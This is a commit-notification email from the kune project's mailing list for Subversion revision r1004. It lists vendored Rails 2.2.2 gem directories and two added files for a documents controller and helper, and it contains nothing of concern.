[kune-commits] r1004 - in trunk: . src/main/java/org/ourproject/kune/app/server src/main/rails/publicspace/app/controllers src/main/rails/publicspace/app/helpers src/main/rails/publicspace/app/models src/main/rails/publicspace/app/views src/main/rails/publicspace/app/views/documents src/main/rails/publicspace/app/views/layouts src/main/rails/publicspace/config src/main/rails/publicspace/db src/main/rails/publicspace/db/migrate src/main/rails/publicspace/public src/main/rails/publicspace/test/fixtures src/main/rails/publicspace/test/functional src/main/rails/publicspace/test/unit src/main/webapp/WEB-INF src/main/webapp/WEB-INF/gems src/main/webapp/WEB-INF/gems/bin src/main/webapp/WEB-INF/gems/cache src/main/webapp/WEB-INF/gems/gems src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2 src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/text-format-0.6.3 src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/text-format-0.6.3/text src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3 src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/auto_layout_mailer src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/explicit_layout_mailer src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/first_mailer src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helper_mailer src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/helpers src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/layouts src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/path.with.dots src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/path.with.dots/funky_path_mailer src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/second_mailer src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/templates src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2 src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/cgi_ext src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_pack src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/locale src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/activerecord src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures/app src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures/app/controllers src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures/app/controllers/admin src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures/vendor src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures/vendor/plugins src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures/vendor/plugins/bad_plugin src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/deprecation src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/html-scanner src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/session src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/addresses src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/bad_customers src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/content_type src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/customers src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/db_definitions src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/developers src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/games src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/serious src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/fun/serious/games src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/functional_caching src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/good_customers src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/helpers/fun src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/alt src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/layouts/controller_name_space src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layout_tests/views src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/layouts src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/mascots src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/multipart src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override/test src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override2 src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override2/layouts src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/override2/layouts/test src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/layouts src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/post src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/post_test/super_post src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/projects src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/images src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/javascripts/subdir src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/public/stylesheets/subdir src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/replies src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/respond_to/layouts src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/scope src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/scope/test src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/symlink_parent src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/test/dot.directory src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/fixtures/topics src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2 src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/examples src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locale src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/locking src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/serializers src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/assets src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_db2 src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_firebird src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_frontbase src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_mysql src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_openbase src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_oracle src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_postgresql src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sqlite3 src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/connections/native_sybase src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/all src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/categories/subsubdir src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/csv src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/naked/yml src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/fixtures/reserved_words src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/broken src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/decimal src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/duplicate_names src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_1 src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_2 src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_3 src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/valid src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/schema src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9 src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/active_record/connection_adapters src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/lib/jdbc_adapter src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/activerecord src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/activerecord/connection_adapters src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/activerecord/connections src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/activerecord/connections/native_jdbc_mysql src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/jdbc_adapter src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/minirunit src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/models src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9 src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/lib src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/lib/active_record src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/lib/active_record/connection_adapters src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2 src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/formats src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/base src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/test/fixtures src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2 src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/cache src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/array src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/base64 src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/bigdecimal src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/cgi src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/class src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date_time src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/file src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/float src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/hash src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/integer src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/kernel src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/module src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/numeric src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/object src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/pathname src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/process src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/range src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/string src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/time src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/json/encoders src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/locale src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/multibyte src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/core_ext src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/core_ext/test src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/testing/core_ext/test/unit src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/values src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2 src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/builder-2.1.2/builder src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1 src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/i18n-0.0.1/i18n/backend src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/memcache-client-1.5.1 src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12 src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/xml-simple-1.0.11 src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4 src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/lib src/main/webapp/WEB-INF/gems/gems/jdbc-mysql-5.0.4/lib/jdbc src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3 src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/jopenssl src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/lib/openssl src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/fixture src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/openssl src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref src/main/webapp/WEB-INF/gems/gems/rails-2.2.2 src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/performance src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/bin/process src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/builtin/rails_info/rails src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/databases src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/initializers src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/configs/locales src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/dispatches src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/actioncontroller_basics src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/benchmarking_and_profiling src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/creating_plugins src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/images/icons/callouts src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/migrations src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/stylesheets src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/environments src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/helpers src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/images src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/html/javascripts src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/ncgi src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/performance src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/process src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/commands/servers src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/mongrel_server src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/plugin src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/rack src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/applications src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/applications/app src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/controller/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/integration_test/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/mailer/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/migration/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/model/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/observer/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/performance_test/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/plugin/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/resource/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/scaffold/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/generators/components/session_migration/templates src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails_generator/scripts src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/tasks src/main/webapp/WEB-INF/gems/gems/rake-0.8.3 src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/bin src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/example src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/contrib src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/loaders src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/contrib src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/chains src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/default src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/dryrun src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/file_creation_task src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/imports src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/multidesc src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/namespace src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rakelib src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/rbext src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/statusreturn src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/data/unittest src/main/webapp/WEB-INF/gems/specifications

dani matas danigb at ourproject.org
Sat Dec 20 22:32:19 CET 2008


Author: danigb
Date: 2008-12-20 22:22:52 +0100 (Sat, 20 Dec 2008)
New Revision: 1004

Added:
   trunk/src/main/rails/publicspace/app/controllers/documents_controller.rb
   trunk/src/main/rails/publicspace/app/helpers/documents_helper.rb
